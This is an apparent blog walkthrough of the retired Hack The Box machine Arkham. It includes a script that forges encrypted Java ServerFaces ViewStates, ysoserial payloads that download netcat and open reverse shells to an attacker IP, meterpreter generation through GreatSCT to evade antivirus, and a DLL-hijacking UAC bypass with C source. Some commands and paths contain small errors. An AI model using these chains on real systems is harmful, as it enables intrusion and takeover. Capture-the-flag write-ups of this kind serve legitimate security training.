- ❯ ./init
- ❯ Information gathering
- ❯ Web Enumeration
- ❯ SMB Enumeration
- ❯ Exploitation
- ❯ PrivEsc
- ❯ AV evasion
- ❯ UAC bypass
This post documents the complete walkthrough of Arkham, a retired vulnerable VM created by MinatoTW and hosted at Hack The Box
| Summery |
|---|
| Arkham was a hard box for the 30 points that were awarded for it, as I was struggling quite a bit and it took me a long time to solve it. It’s the hardest box I worked on so far. However, in the end, I enjoyed the box a lot because it forced me to learn stuff I don’t encounter often. Techniques used are the exploitation of java deserialization vulnerability, AV evasion, and a UAC bypass using DLL hijacking. |
❯ ./init
Add the box IP address to /etc/hosts
# HTB
10.10.10.130 arkham.htb
❯ Information gathering
Starting with a full nmap scan
❯ nmap -sV -sC -p- -oA ./nmap/arkham -T4 fortune.htb
Nmap scan report for arkham.htb (10.10.10.130)
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
8080/tcp open http Apache Tomcat 8.5.37
| http-methods:
|_ Potentially risky methods: PUT DELETE
|_http-title: Mask Inc.
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: -6m26s, deviation: 0s, median: -6m26s
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2019-08-04 13:12:15
|_ start_date: N/A
We find the ports 80, 8080, 445 (SMB) are open
❯ Web Enumeration
negativing to arkham.htb in Firefox we find IIS Windows Server web page
If the pictures are small click on them
❯ 8080/TCP - HTTP enumeration
Navigate to http://arkham.htb:8080 in Firefox
From the menu on the right there is an interesting page under Subscription
the page /userSubscribe.faces contains a serialized Java object in the hidden javax.faces.ViewState field
We can see the request in burp intercept
The ViewState is sent back to the server via POST when the form is submitted (e.g. click on Login).
From javafx.faces.viewstate We can see that the server is running MyFaces Apache JSF version. A misconfigured JSF ViewStates can lead to RCE this post gives some insight on how the ViewState is vulnerable.
From reading the documentation (StateUtils) we find that:
- Base64 is used for all encoding and decoding.
- DES is the default encryption algorithm
- ECB is the default mode
- PKCS5Padding is the default padding
- HmacSHA1 is the default MAC algorithm
We can run the ViewState through CyberChef to decode it
URL_Decode()
From_Base64('A-Za-z0-9+/=',true)
We note that this ViewState is encrypted. So unless we can find the decryption key, it is unlikely we can exploit it.
❯ SMB Enumeration
We will move on to enumerating SMB shares on port 445 using SMBMap
❯ smbmap -H arkham.htb -p 445
[+] Finding open SMB ports....
[+] Guest SMB session established on arkham.htb...
[+] IP: arkham.htb:445 Name: arkham.htb
Disk Permissions
---- -----------
ADMIN$ NO ACCESS
BatShare READ ONLY
C$ NO ACCESS
IPC$ READ ONLY
Users READ ONLY
Looks like we have read-only permission to the BatShare, IPC$ and Users shares. We can connect and browse the contents of the SMB shares using SMBClient.
❯ smbclient //arkham.htb/BatShare -u root
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Sun Feb 3 08:00:10 2019
.. D 0 Sun Feb 3 08:00:10 2019
appserver.zip A 4046695 Fri Feb 1 01:13:37 2019
smb: \> get appserver.zip
In the BatShare there is an archive file appserver.zip we can download it using the get command then unzip it
❯ unzip appserver.zip
Archive: appserver.zip
inflating: IMPORTANT.txt
inflating: backup.img
The archive contains a text file IMPORTANT.txt
Alfred, this is the backup image from our linux server. Please see that The Joker or anyone else doesn’t have unauthenticated access to it.
- Bruce
We also find the file backup.img, from the note we know that it’s a backup image and by running the file command on it we find that it’s a LUKS ( Linux Unified Key Setup) encrypted disk image
❯ file backup.img
backup.img: LUKS encrypted file, ver 1 [aes, xts-plain64, sha256]
UUID: d931ebb1-5edc-4453-8ab1-3d23bb85b38e
So we try to crack it with hashcat and rockyou.txt. Since this is a Batman theme box,
I tried some default credentials and after realizing that it would take a long time to crack the password using bruteforce-lurk, I used binwalk and to my surprise I found some files under the directory Mask/tomcat-stuff
❯ binwalk backup.img -e
❯ ls -alh _backup.img.extracted/Mask
total 392K
drwxr-xr-x 3 root root 4.0K Aug 4 17:20 ./
drwxr-xr-x 4 root root 12K Aug 4 17:20 ../
-rw-r--r-- 1 root root 103K Dec 25 2018 me.jpg
-rw-r--r-- 1 root root 257K Dec 25 2018 mycar.jpg
-rw-r--r-- 1 root root 7.5K Dec 25 2018 robin.jpeg
drwxr-xr-x 2 root root 4.0K Dec 25 2018 tomcat-stuff/
Honestly I don’t know why there would be clear text files in a lurk encrypted image ¯\_(ツ)_/¯
Note: By using bruteforce-lurk and because the box is batman themed I added batman to rockyou.txt I found out that the password is batmanforever
In the extracted image we find the folder Mask/tomcat-stuff which contains several configuration files
❯ ls -Fa -alh tomcat-stuff
total 212K
-rw-r--r-- 1 root root 1.4K Dec 25 2018 context.xml
-rw-r--r-- 1 root root 832 Dec 25 2018 faces-config.xml
-rw-r--r-- 1 root root 1.2K Dec 25 2018 jaspic-providers.xml
-rw-r--r-- 1 root root 39 Dec 25 2018 MANIFEST.MF
-rw-r--r-- 1 root root 7.5K Dec 25 2018 server.xml
-rw-r--r-- 1 root root 2.2K Dec 25 2018 tomcat-users.xml
-rw-r--r-- 1 root root 170K Dec 25 2018 web.xml
-rw-r--r-- 1 root root 3.5K Dec 25 2018 web.xml.bak
The file web.xml.bak contains secret for myfaces (SnNGOTg3Ni0)
...
<servlet-mapping>
<servlet-name>Faces Servlet</servlet-name>
<url-pattern>*.faces</url-pattern>
</servlet-mapping>
...
<context-param>
<param-name>org.apache.myfaces.SECRET</param-name>
<param-value>SnNGOTg3Ni0=</param-value>
</context-param>
<context-param>
<param-name>org.apache.myfaces.MAC_ALGORITHM</param-name>
<param-value>HmacSHA1</param-value>
</context-param>
<context-param>
<param-name>org.apache.myfaces.MAC_SECRET</param-name>
<param-value>SnNGOTg3Ni0=</param-value>
</context-param>
...
We can see server is running myfaces (JSF apache version) and it’s storing the viewstate on server side. There’s no info about if encryption is enabled/disabled, so myfaces will use default config, witch is enabled.
By decoding the secret SnNGOTg3Ni0= using Base64 we get the key JsF9876-
❯ Completely decipher the structure of the payload
According to Apache documentation (StateUtils)
- Base64 is used for all encoding and decoding.
- DES is the default encryption algorithm
- ECB is the default mode
- PKCS5Padding is the default padding
- HmacSHA1 is the default MAC algorithm
We have the original payload captured from BURP:
wHo0wmLu5ceItIi%2BI7XkEi1GAb4h12WZ894pA%2BZ4OH7bco2jXEy1Rd1x5LURafml70KtDtngjDm0mNzA9qHjYerxo0jW7zu1Qxb78J8MRRgV%2FoWNsOb5owxiays%3D
URL-Decoded:
wHo0wmLu5ceItIi+I7XkEi1GAb4h12WZ894pA+Z4OH7bco2jXEy1Rd1x5LURafml70KtDtngjDm0mNzA9qHjYerxo0jW7zu1Qxb78J8MRRgV/oWNsOb5owxiays=
Base64-Decoded presented in HEX
c07a34c262eee5c788b488be23b5e4122d4601be21d76599f3de2903e678387edb728da35c4cb545dd71e4b51169f9a5ef42ad0ed9e08c39b498dcc0f6a1e361eaf1a348d6ef3bb54316fbf09f0c451815fe858db0e6f9a30c626b2b
URL_Decode()
From_Base64('A-Za-z0-9+/=',true)
To_Hex('None')2
We decode into hex so that we can try decrypting it using des.online-domain-tools.com
Decrypted!(you can read it in plain text)
We understand that HMACSHA1 is a 160bit length code, if we were to present this in hex, it should be 40 characters long,let us just assume that:
- a) the last 40 characters are the
HMACSHA1digest of the encrypted payload in hex4316fbf09f0c451815fe858db0e6f9a30c626b2b - b) the remaining front characters is the encrypted payload in hex
So in other words, the construction of the payload is DES_Encrypted_Payload + HMACSHA1 digest (not hexdigest)
❯ Exploitation
We need to create a valid ViewState (with our payload injected) to add to a request. To exploit this vulnerability we will use ySoSerial a tool for generating payloads that exploit unsafe Java object deserialization.
Thanks to Joe Graham for his help with ySoSerial, check out his blog
To make the payload work we will need to do the following:
- Use ySoSerial to generate the payload
- Cipher the payload with DES-ECB
padmode=PAD_PKCS5(we have the key fromweb.xml.bak) - Calculate HMAC SHA1, obtain digest (not hexdigest) and combine it at the end
- Base64 encode the result
- URL encode it
I created a script to do that
#####################
# SecBytes.net #
#####################
import sys
import hmac
import base64
from hashlib import sha1
# pip3 install pyDes
from pyDes import *
import urllib.parse
def encrypt(data):
key = bytes("JsF9876-",'utf-8')
# encrypt ysoserial payload with DES-ECB
cipher = des(key, ECB, IV=None, pad=None, padmode=PAD_PKCS5)
enc = cipher.encrypt(data)
# calculate HMAC SHA1 and obtain digest
digest = hmac.new(key, enc, sha1).digest()
# combain the digest at the end of the encrypted text
payload = enc+digest
# base64 encode
return base64.b64encode(payload)
if __name__ == "__main__":
filename = sys.argv[1]
with open(filename, "rb") as fp:
payload = encrypt(fp.read())
payload = payload.decode('utf-8')
# url encode it
payload = urllib.parse.quote_plus(payload)
print(payload)
Download netcat for Windows and extract the files.
After that we will create a simple webserver server using Python to allow us to upload nc64.exe to Arkham
❯ unzip netcat-win32-1.11.zip
❯ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
In a new terminal window generate a ysoserial payload that downloads nc64.exe on the box using the Python webserver we created. Then it will send a call to our box on port 1337
❯ java -jar ysoserial.jar CommonsCollections5 'Powershell iwr http://10.10.14.20:8000/nc64.exe -outfile C:\users\public\nc64.exe;C:\users\public\nc64.exe 10.10.14.20 1337 -e cmd.exe' > bad3r_raw
The payload will be saved in bad3r_raw. Next we need to encrypt and encode the payload using the script above arkham.py
❯ python3 arkham.py bad3r_raw
Copy the output and in another terminal window start listening on port 1337
❯ nc -lp 1337
Navigate to http://arkham.htb:8080/userSubscribe.faces in your browser. enable burp proxy and click on sign up, in burp you will see the request
Send it it to Intruder and edit the Position
Add the payload and click on Start Attack. After sending the payload we get a request on our local python webserver and see that the payload indeed worked
❯ PrivEsc
In Alfred’s Downloads folder we find a file called backup.zip. Copy it to the web folder to download it and analyze it
❯ cd C:\Users\alfred\downloads\backups
❯ copy backup.zip C:\tomcat\apache-tomcat-8.5.37\webapps\Root\backup.zip
1 file(s) copied.
In your browser navigate to http://arkham.htb:8080/backup.zip to download the file then unzip it
❯ unzip backup.zip
Archive: backup.zip
inflating: alfred@arkham.local.ost
use the command file to find the file type
❯ file alfred@arkham.local.ost
alfred@arkham.local.ost: Microsoft Outlook email folder
Use readpst -rS to convert and read the file
readpst - convert PST (MS Outlook Personal Folders) files to mbox and other formats
❯ ls -R alfred@arkham.local.ost1
alfred@arkham.local.ost1:
Calendar/ Drafts/ Inbox/ 'Sync Issues'/
alfred@arkham.local.ost1/Calendar:
alfred@arkham.local.ost1/Drafts:
1 1-image001.png
alfred@arkham.local.ost1/Inbox:
'[email protected]/Sync Issues'
We find the passowrd "Zx^#QZX+T!123" for batman but we don’t want any shares we want a shell..
❯ Batman Shell
Execute the following commands as Alfred
❯ powershell
❯ $username = "batman";$password = "Zx^#QZX+T!123";$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;$Session = New-PSSession -Credential $Credential
Make sure that the Python webserver is still running and while listening on port 3333 (nc -lp 3333) execute the command
❯ icm -Session $Session -ScriptBlock { iwr http://10.10.14.20:8000/nc64.exe -OutFile C:\Users\Batman\Desktop\nc64.exe; C:\Users\Batman\Desktop\nc64.exe -vn 10.10.14.20 3333 -e cmd.exe }
If the pictures are small click on them
Batman is in the Administrator Group
Anyway we cannot access Administrator home folder to read root.txt so we need to bypass UAC. We cannot invoke Administrator privileges because once the cmd.exe token is generated, it will stay as it is unless there is someone on the Interactive Desktop who can press the ‘Yes’ button during the UAC request.
❯ AV evasion
First we have to get a meterpreter shell but Arkham has an updated and patched Windows defender which detects meterpereter so we have to do some AV evasion
Clone GreatSCT repo and install it
❯ git clone https://github.com/GreatSCT/GreatSCT.git
❯ cd GreatSCT/
❯ cd setup
❯ sudo ./setup.sh -c
Create the payload
./GreatSCT.py --ip 10.10.14.20 --port 4444 -o bad3r -t Bypass -p msbuild/meterpreter/rev_tcp.py
To obtain our meterpreter shell we just need to upload bad3r.xml, execute
msbuild.exe on victim and wait with our msf handler
copy bad3r.xml to the directory of your python webserver and execute the following command as Batman
❯ Powershell iwr http://10.10.14.20:8000/bad3r.xml -outfile C:\ProgramData\bad3r.xml;C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\ProgramData\bad3r.xml
In msfconsole
❯ msfconsole
[-] ***rting the Metasploit Framework console...-
[-] * WARNING: No database support: No database YAML file
[-] ***
IIIIII dTb.dTb _.---._
II 4' v 'B .'"".'/|\`.""'.
II 6. .P : .' / | \ `. :
II 'T;. .;P' '.' / | \ `.'
II 'T; ;P' `. / | \ .'
IIIIII 'YvP' `-.__|__.-'
I love shells --bad3r
=[ metasploit v5.0.38-dev ]
+ -- --=[ 1912 exploits - 1073 auxiliary - 329 post ]
+ -- --=[ 545 payloads - 45 encoders - 10 nops ]
+ -- --=[ 3 evasion ]
msf5 > use multi/handler
msf5 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 10.10.14.20
msf5 exploit(multi/handler) > set LPORT 4444
msf5 exploit(multi/handler) > set ExitOnSession false
In msfconsole
msf5 exploit(multi/handler) > exploit -j -z
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.10.14.20:4444
❯ msf5 exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...
❯ msf5 exploit(multi/handler) > sessions -i 1
❯ meterpreter >
Migrate the process to explorer.exe to bypass Powershell restricted mode and Load Powershell on meterpreter
meterpreter > ps -aux | grep explorer.exe
Filtering on 'explorer.exe'
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
4252 4104 explorer.exe x64 1 ARKHAM\Batman C:\Windows\explorer.exe
meterpreter > migrate 4252
[*] Migrating from 5324 to 4252...
[*] Migration completed successfully.
❯ meterpreter > load powershell
Loading extension powershell...Success.
meterpreter > powershell_shell
PS > $ExecutionContext.SessionState.LanguageMode
FullLanguage
❯ PS >
❯ UAC bypass
we need to find a tool within Windows that allows automatic invoke of UAC and see whether there are any weakness such as loading of dll from a folder that is writable by the user. We replace that dll with a malicious one and when the application loads, it loads our malicious dll file which dials a shell back to the attacker machine.
From this post if we use the command
❯ findstr /C:"<autoElevate>true" C:\Windows\SysWOW64\SystemPropertiesAdvanced.exe
<autoElevate>true</autoElevate>
we already have the application identified SystemPropertiesAdvanced.exe which loads a dll called srrstr.dll from the User’s WindowsApps folder which is
writable by the user.
We need to create a dll file that executes our payload bad3r.xml from C:\Users\batman\Desktop when loaded. We compile it and copy it to the directory we hosting our python webserver
#include <windows.h>
int fireLazor()
{
WinExec("C:\\Usrs\\batman\\Deskatop\\bad3r.xml", 0);
return 0;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
fireLazor();
return 0;
}
Save it as main.cpp and compile it on Linux
❯ i686-w64-mingw32-g++ -c -DBUILDING_EXAMPLE_DLL main.cpp
❯ i686-w64-mingw32-g++ -shared -o main.dll main.o -Wl,--out-implib,main.a
The compilation commands will create a file called main.dll
We use the command echo %PATH% to find WindowsApps directory path
C:\Users\Batman\Documents>echo %PATH%
echo %PATH%
... C:\Users\Batman\AppData\Local\Microsoft\WindowsApps ...
We need to upload the dll file using our python webserver and save it in the path above as srrstr.dll
❯ Powershell iwr http://10.10.14.20:8000/main.dll -outfile C:\Users\Batman\AppData\Local\Microsoft\WindowsApps\srrstr.dll
Now run SystemPropertiesAdvanced.exe
❯ C:\Windows\SysWOW64\SystemPropertiesAdvanced.exe
In an another terminal window listen to port 5555
❯ nc -lvnp 5555
listening on [any] 5555 ...
connect to [10.10.14.20] from (UNKNOWN) [10.10.10.130] 49847
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>type C:\Users\Administrator\Desktop\root.txt
type C:\Users\Administrator\Desktop\root.txt
< Root_hash >
